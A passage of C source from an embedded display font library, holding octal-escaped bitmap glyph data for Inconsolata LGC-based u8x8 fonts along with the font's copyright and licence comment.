\"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0@\\340\\300\\200\\200\\200\\300\\340\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\20\\0\\0\\377\\377\\377`p\\370\\336\\217\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\3\\7\\17<x\\360\\300\\200\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\0\\377\\377\\377\\7\\36x\\340\\300\\360<\\17\"\n  \"\\3\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\1\\3\\0\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360\\300\\200\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377\\3\\17>x\\340\\300\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\37|\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\300\\300\\340p\\60\\60\\60\\60p\\340\\300\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\37\\77p\\340\\300\\200\\200\\200\\200\\300\\340x\\77\\37\\1\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\340`\"\n  \"\\177\\77\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\340p\\60\\60\\60pp\\340\\300\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\77\\177\\360\\300\\200\\200\\200\\200\\200\\200\\340\\370\\177\\37\\1\\0\\0\\0\\0\\1\\1\\7\\37\\77\\71\\61\\61\"\n  \"\\60\\60\\60\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\340p\"\n  \"\\177\\37\\6\\0\\0\\377\\377\\377\\0\\0\\0\\0\\3\\17\\36|\\360\\300\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\200\\300\\340`p\\60\\60\\60\\60`\\340\\300\\0\\0\\0\\0\\7\\37\\37\\70\\60p`\\340\\300\\300\"\n  \"\\200\\200\\0\\0\\0@p\\340\\300\\300\\200\\200\\200\\200\\300\\301\\343\\177\\77\\14\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\20\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\360\\20\\0\\0\\7\\77\\376\\360\\200\\0\\0\\0\\340\\374\"\n  \"\\77\\7\\0\\0\\0\\0\\0\\0\\0\\7\\77\\374\\370\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\300\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\360\\360\\0\\77\\377\\360\\0\\300\\370\\77\\37\\377\\360\\200\"\n  \"\\0\\376\\177\\1\\0\\0\\17\\377\\374\\37\\1\\0\\0\\0\\17\\377\\377\\37\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\20p\\360\\300\\0\\0\\0\\0\\0\\0\\300\\360p\\20\\0\\0\\0\\0\\1\\7\\17\\276\\370\\370\\376\\17\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\360|\\37\\7\\3\\3\\7\\37|\\360\\340\\200\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\60\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360p\\0\\0\\0\\0\\3\\17>\\370\\360\\300\\360|\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\260\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360|\\36\\7\"\n  \"\\3\\0\\0\\0\\0\\200\\340\\360\\374\\237\\217\\203\\200\\200\\200\\200\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\374\\374\\374\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\0\\0\\0\\0\\30\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17>\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\3\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\17\\3\\1\\0\\3\\17>\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\14\\0\\0\\0\\0\\0\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17>x\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\10\\14\\6\\6\\6\\16\\16\\34\"\n  \"\\374\\360\\300\\0\\0\\377\\377\\177\\300\\300\\200\\200\\200\\300\\300\\340\\177\\77\\17\\0\\0\\1\\1\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\6\\16\"\n  \"\\34<\\10\\0\\0\\17\\77\\177\\360\\300\\300\\200\\200\\200\\200\\300\\300\\340@\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\340\\370\\374\\34\\16\\6\\6\\6\\6\\14\\30\"\n  \"\\377\\377\\377\\0\\0\\17\\77\\377\\340\\300\\200\\200\\200\\200\\300p\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\70\\34\\14\\14\\14\\34\\30\\70\\0\\0\\14\\14\\14\\377\\377\\377\\14\\14\\14\\14\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\374\\34\\16\\6\\6\\6\\16\\34\\370\"\n  \"\\374F\\6\\6\\0\\0s\\177\\377\\316\\314\\314\\314\\316\\307\\307\\303\\200\\200\\0\\0\\34\\77\\77qp`````p\"\n  \"\\71\\77\\37\\6\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\30\\14\\14\\6\\6\\16\\36\"\n  \"\\374\\370\\300\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\6\\6\\376\\376\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\60\\70p```p\\60\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\300\\300\\340p\\70\\34\"\n  \"\\16\\6\\2\\0\\0\\0\\377\\377\\377\\3\\1\\3\\7\\17<x\\360\\340\\200\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\14\\14\\14\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\200\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\14\\6\\6\\376\\374\\370\\34\\6\"\n  \"\\6\\16\\376\\374\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\377\\377\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\30\\14\\14\\6\\6\\16\\36\"\n  \"\\374\\370\\300\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\10\\14\\6\\6\\6\\6\\16\\34\"\n  \"\\374\\360\\300\\0\\0\\377\\377\\377\\300\\300\\200\\200\\200\\300\\300\\340\\177\\77\\17\\0\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\16\\6\\6\\6\\6\\14\\34\"\n  \"\\376\\376\\376\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\70\\34\\14\\6\\6\\6\"\n  \"\\6\\16\\34\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\374\\216\\206\\206\\6\\6\\16\\14\"\n  \"<\\10\\0\\0\\0@\\360\\300\\301\\201\\201\\203\\203\\203\\307\\376~\\70\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\346\\377\\377\\6\\6\\6\\6\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\300\\200\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6>\\376\\360\\200\\0\\0\\0\\0\\0\\300\"\n  \"\\370>\\6\\0\\0\\0\\0\\0\\7\\37\\376\\360\\340\\374\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\376\\376\\200\\0\\0\\200\\370|\\360\\200\\0\"\n  \"\\0\\200\\376~\\0\\0\\37\\377\\360\\370\\77\\3\\0\\7\\77\\374\\300\\377\\17\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\6\\36<x\\340\\300\\300\\340x\\34\"\n  \"\\16\\2\\0\\0\\0\\0\\200\\340\\360<\\37\\7\\17\\37<\\360\\340\\200\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\36~\\370\\300\\0\\0\\0\\0\\0\\300\"\n  \"\\374>\\16\\0\\0\\0\\0\\0\\3\\17~\\370\\300\\370\\77\\17\\1\\0\\0\\0 p```p\\70\\37\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\6\\206\\306\\346v>\"\n  \"\\36\\6\\0\\0\\0\\200\\300\\360\\370\\274\\216\\207\\203\\201\\200\\200\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\200\\340\\340p\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\200\\377\\177\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\7\\376\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177p```\"\n  \"``\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60pp\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\376\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\377\\7\\3\\3\\3\\0\\0\\0````px\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\14\\6\\6\\6\\14\\34\\70\\60\\60\"\n  \"\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr21_2x4_n[1732] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_n\") = \n  \" :\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60``@\\377\\377@``\"\n  \"\\60\\60\\60\\0\\0\\0\\20\\70<\\16\\7\\1\\1\\7\\16<\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\377\\377\\377\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0as\\37\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360|\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\300\\360|\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340```\\300\\300\\200\\0\\0\\0\\0\\370\\376\\377\\3\\1\\0\\200\\300p\\70\\17\"\n  \"\\377\\376\\360\\0\\0\\17\\77\\377\\374\\316\\207\\1\\0\\200\\200\\340\\377\\77\\17\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300````\\340\\300\\200\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\200\\341\"\n  \"\\377\\77\\14\\0\\0\\0\\0\\300\\340x<\\16\\6\\7\\3\\1\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  